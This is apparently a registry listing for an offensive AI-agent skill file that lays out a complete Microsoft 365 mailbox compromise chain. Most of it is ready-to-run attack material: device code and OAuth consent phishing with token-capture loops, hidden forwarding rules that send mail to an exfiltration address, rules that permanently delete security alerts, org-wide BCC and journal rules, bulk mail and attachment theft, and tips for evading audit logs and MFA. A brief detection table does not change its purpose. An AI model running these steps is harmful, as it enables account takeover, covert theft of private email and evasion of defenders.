CtrlK
BlogDocsLog inGet started
Tessl Logo

m365-mailbox-compromise

Microsoft 365 mailbox compromise chain — OAuth consent phishing, delegate access abuse, mail rule persistence, and token theft via device code phishing. Full kill chain from initial access to persistent email collection.

57

Quality

66%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/cloud/m365-mailbox-compromise/SKILL.md
SKILL.md
Quality
Evals
Security

Microsoft 365 Mailbox Compromise

Targets Microsoft 365 tenants through OAuth consent grants, device code phishing, delegate access abuse, and mail flow rule persistence. Provides silent, persistent email collection that survives password resets and MFA changes.

Quick Reference

# Device code phishing — initiate auth flow
curl -s "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" \
  -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=offline_access Mail.Read Mail.ReadWrite"

# Poll for token after victim enters code
curl -s "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
  -d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&device_code=<DEVICE_CODE>"

# List mailbox messages via Graph API
curl -s "https://graph.microsoft.com/v1.0/me/messages?\$top=50&\$select=subject,from,receivedDateTime" \
  -H "Authorization: Bearer <ACCESS_TOKEN>" | jq '.value[] | {subject,from,receivedDateTime}'

# Create inbox forwarding rule
curl -s -X POST "https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRules" \
  -H "Authorization: Bearer <ACCESS_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"displayName":"","isEnabled":true,"sequence":1,"conditions":{"subjectContains":["invoice","payment","wire","transfer"]},"actions":{"forwardTo":[{"emailAddress":{"address":"<EXFIL_EMAIL>"}}]}}'

MITRE ATT&CK Mapping

TechniqueIDApplication
Steal Application Access TokenT1528OAuth consent grant or device code phishing for Graph API tokens
Additional Email Delegate PermissionsT1098.002Add mailbox delegate or ApplicationImpersonation role
Remote Email CollectionT1114.002Exfiltrate mail via Graph API or EWS
Office Application StartupT1137Outlook rules, forms, and home page for persistence
Phishing: Spearphishing LinkT1566.002OAuth consent phishing URL delivery
Account ManipulationT1098Mail flow rule creation for persistent forwarding

1. OAuth Consent Grant Phishing

Craft Malicious OAuth Application

# Register app in attacker-controlled Azure AD tenant
# Azure Portal → App Registrations → New Registration
# Redirect URI: https://<ATTACKER_DOMAIN>/callback
# Request permissions: Mail.Read, Mail.ReadWrite, Contacts.Read, Files.Read

# Build consent URL — victim clicking grants access
CONSENT_URL="https://login.microsoftonline.com/common/adminconsent?client_id=<MALICIOUS_APP_ID>&redirect_uri=https://<ATTACKER_DOMAIN>/callback&scope=https://graph.microsoft.com/.default"

# For user-level consent (no admin required):
USER_CONSENT="https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=<MALICIOUS_APP_ID>&response_type=code&redirect_uri=https://<ATTACKER_DOMAIN>/callback&scope=Mail.Read+Mail.ReadWrite+offline_access&response_mode=query"

# After victim consents, exchange auth code for tokens
curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
  -d "client_id=<MALICIOUS_APP_ID>&client_secret=<APP_SECRET>&code=<AUTH_CODE>&redirect_uri=https://<ATTACKER_DOMAIN>/callback&grant_type=authorization_code"

Evasion: Disguise the Application

# Name the app to look legitimate:
#   "Microsoft Security Update"
#   "IT Helpdesk Portal"
#   "SharePoint Document Viewer"
# Use a publisher domain similar to target org
# Request minimal permissions initially, escalate later via incremental consent

2. Device Code Phishing

# Step 1: Generate device code (no victim interaction yet)
RESP=$(curl -s "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" \
  -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=offline_access Mail.Read Mail.ReadWrite Mail.Send User.Read")

DEVICE_CODE=$(echo "$RESP" | jq -r '.device_code')
USER_CODE=$(echo "$RESP" | jq -r '.user_code')
VERIFY_URL=$(echo "$RESP" | jq -r '.verification_uri')
echo "Send victim to: $VERIFY_URL and enter code: $USER_CODE"

# Step 2: Send phishing message directing victim to https://microsoft.com/devicelogin
# Pretext: "MFA re-enrollment required" / "Security verification" / "Teams meeting access"

# Step 3: Poll for token completion (victim enters code and authenticates)
while true; do
  TOKEN_RESP=$(curl -s "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
    -d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&device_code=$DEVICE_CODE")
  
  if echo "$TOKEN_RESP" | jq -e '.access_token' > /dev/null 2>&1; then
    echo "$TOKEN_RESP" | jq '{access_token,refresh_token,expires_in}' > /tmp/m365_tokens.json
    echo "[+] Token captured!"
    break
  fi
  sleep 5
done

# Step 4: Use refresh token for persistent access (survives password change)
REFRESH_TOKEN=$(jq -r '.refresh_token' /tmp/m365_tokens.json)
curl -s "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
  -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&scope=offline_access Mail.Read Mail.ReadWrite"

3. ApplicationImpersonation & Delegate Access

# If Exchange admin access is obtained:

# Grant ApplicationImpersonation role (access ANY mailbox)
# PowerShell via Graph/EWS:
# New-ManagementRoleAssignment -Role "ApplicationImpersonation" -User "<COMPROMISED_ADMIN>"

# Add mailbox delegate (victim won't see in Outlook UI easily)
curl -s -X POST "https://graph.microsoft.com/v1.0/users/<VICTIM_UPN>/mailFolders/inbox/permissions" \
  -H "Authorization: Bearer <ADMIN_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"emailAddress":{"address":"<ATTACKER_UPN>"},"role":"read"}'

# Full mailbox access via EWS impersonation
curl -s "https://outlook.office365.com/EWS/Exchange.asmx" \
  -H "Content-Type: text/xml" \
  -H "Authorization: Bearer <TOKEN>" \
  -d '<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
  xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages">
  <soap:Header>
    <t:ExchangeImpersonation>
      <t:ConnectingSID><t:PrimarySmtpAddress><VICTIM_EMAIL></t:PrimarySmtpAddress></t:ConnectingSID>
    </t:ExchangeImpersonation>
  </soap:Header>
  <soap:Body>
    <m:FindItem Traversal="Shallow">
      <m:ItemShape><t:BaseShape>Default</t:BaseShape></m:ItemShape>
      <m:ParentFolderIds><t:DistinguishedFolderId Id="inbox"/></m:ParentFolderIds>
    </m:FindItem>
  </soap:Body>
</soap:Envelope>'

# Grant full access to mailbox via PowerShell
# Add-MailboxPermission -Identity <VICTIM> -User <ATTACKER> -AccessRights FullAccess -AutoMapping $false
# AutoMapping:$false prevents it from showing in Outlook — stealthier

4. Mail Rule Persistence

Inbox Rules via Graph API

# Create hidden forwarding rule
curl -s -X POST "https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRules" \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "displayName": " ",
    "sequence": 1,
    "isEnabled": true,
    "conditions": {
      "bodyContains": ["password","credential","vpn","token","secret","wire","invoice","payment"]
    },
    "actions": {
      "forwardTo": [{"emailAddress":{"address":"<EXFIL_EMAIL>"}}],
      "markAsRead": true,
      "moveToFolder": "inbox"
    }
  }'

# Create rule that deletes security alerts (cover tracks)
curl -s -X POST "https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRules" \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "displayName": " ",
    "sequence": 2,
    "isEnabled": true,
    "conditions": {
      "fromContains": ["security@","noreply@microsoft","alerts@"]
    },
    "actions": {
      "delete": true,
      "permanentDelete": true
    }
  }'

# List existing rules (check for defender-created rules)
curl -s "https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRules" \
  -H "Authorization: Bearer <TOKEN>" | jq '.value[] | {displayName,isEnabled,conditions,actions}'

Transport/Mail Flow Rules (Admin-Level)

# Exchange admin: create org-wide BCC rule
# New-TransportRule -Name "Compliance Journaling" -SentToScope InOrganization \
#   -BlindCopyTo "<EXFIL_EMAIL>" -SubjectContainsWords "confidential","acquisition","merger"

# Journal rule (copies ALL mail to external address)
# New-JournalRule -Name "Legal Hold" -JournalEmailAddress "<EXFIL_EMAIL>" \
#   -Scope Global -Enabled $true

5. Email Collection & Exfiltration

# Bulk email download via Graph API
ACCESS_TOKEN="<TOKEN>"

# Search for high-value emails
curl -s "https://graph.microsoft.com/v1.0/me/messages?\$search=\"password OR credential OR vpn OR secret\"&\$top=100&\$select=subject,from,body,hasAttachments,receivedDateTime" \
  -H "Authorization: Bearer $ACCESS_TOKEN" > /tmp/m365_search.json

# Download all attachments
curl -s "https://graph.microsoft.com/v1.0/me/messages?\$filter=hasAttachments eq true&\$top=50" \
  -H "Authorization: Bearer $ACCESS_TOKEN" | jq -r '.value[].id' | while read msgid; do
  curl -s "https://graph.microsoft.com/v1.0/me/messages/$msgid/attachments" \
    -H "Authorization: Bearer $ACCESS_TOKEN" | jq -r '.value[] | .name + " " + .contentBytes' >> /tmp/m365_attachments.txt
done

# Access other users' mailboxes (with ApplicationImpersonation)
curl -s "https://graph.microsoft.com/v1.0/users/<VICTIM_UPN>/messages?\$top=50" \
  -H "Authorization: Bearer $ACCESS_TOKEN" | jq '.value[] | {subject,from}'

# OneDrive/SharePoint access with same token (if scoped)
curl -s "https://graph.microsoft.com/v1.0/me/drive/root/children" \
  -H "Authorization: Bearer $ACCESS_TOKEN" | jq '.value[] | {name,size,lastModifiedDateTime}'

6. Token Refresh & Long-Term Persistence

# Refresh tokens last 90 days by default (can be revoked)
# Keep refreshing before expiry to maintain access indefinitely

# Automated token refresh loop
REFRESH_TOKEN=$(jq -r '.refresh_token' /tmp/m365_tokens.json)
NEW_TOKENS=$(curl -s "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
  -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&scope=offline_access Mail.Read Mail.ReadWrite")
echo "$NEW_TOKENS" > /tmp/m365_tokens.json

# Check token validity
curl -s "https://graph.microsoft.com/v1.0/me" \
  -H "Authorization: Bearer $(jq -r '.access_token' /tmp/m365_tokens.json)" | jq '{displayName,mail,userPrincipalName}'

# If refresh token is revoked, fall back to:
# 1. Consent grant still active → re-authenticate via consent URL
# 2. Mail forwarding rules still active → passive collection continues
# 3. Delegate permissions still active → access via different compromised account

Tools & Resources

ToolPurpose
TokenTactics (PowerShell)Device code phishing and token manipulation
AADInternalsAzure AD / M365 enumeration and abuse
ROADtoolsAzure AD data collection and analysis
GraphRunnerGraph API post-exploitation framework
MailsniperExchange/M365 mailbox enumeration
o365creeperM365 user enumeration via ActiveSync
HawkM365 forensic log analysis (know your enemy)

Detection Signatures

IndicatorDetection Method
OAuth consent grant to unknown appAzure AD sign-in logs: ConsentGrant activity
Device code flow from unusual IPAzure AD: DeviceCodeFlow auth event with risky IP
ApplicationImpersonation role assignmentUnified Audit Log: New-ManagementRoleAssignment
Inbox rule with external forwardingExchange audit: New-InboxRule with ForwardTo external
Mail flow rule with BCC to externalExchange admin audit: New-TransportRule
Graph API bulk message accessAzure AD sign-in: high-volume Mail.Read scoped token usage
Delegate mailbox access addedExchange audit: Add-MailboxPermission with FullAccess
Refresh token from new device/IPAzure AD: continuous access evaluation (CAE) alerts

Error Handling & Edge Cases

  • Consent blocked by admin policy: Target tenants with User.ReadWrite.All admin consent required; use device code flow instead — it uses first-party Microsoft client IDs
  • Conditional Access Policy blocks token: Some CAs require compliant device; device code flow from attacker machine may be blocked — chain with compromised endpoint
  • Refresh token revoked: Fall back to active mail rules or delegate access; these persist independently of token state
  • Audit logs enabled: Operate during business hours; blend Graph API calls with legitimate patterns; use first-party client IDs to avoid suspicious app registrations
  • MFA on target account: Device code phishing bypasses MFA — victim authenticates with their MFA; token captured post-authentication
  • Mailbox audit logging: Modern M365 enables mailbox auditing by default; minimize API calls, use $select to reduce logged scope

Decision Gate

IF initial access to M365 account:
  → Deploy inbox forwarding rule for passive collection
  → Create hidden mail rule matching high-value keywords
  → Exfiltrate recent email via Graph API search
  → Refresh token on schedule to maintain access

IF Exchange admin access:
  → Grant ApplicationImpersonation for cross-mailbox access
  → Create transport rule for org-wide BCC
  → Target executive/finance mailboxes specifically

IF no credentials but phishing opportunity:
  → Device code phishing (bypasses MFA, uses legitimate Microsoft URL)
  → Fallback: OAuth consent grant phishing (requires app registration)
  → Last resort: credential phishing (less effective with MFA)

IF access is detected/revoked:
  → Mail rules persist after password reset — check if still forwarding
  → Delegate permissions persist after token revocation — re-authenticate
  → OAuth consent grants persist until explicitly revoked by admin
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.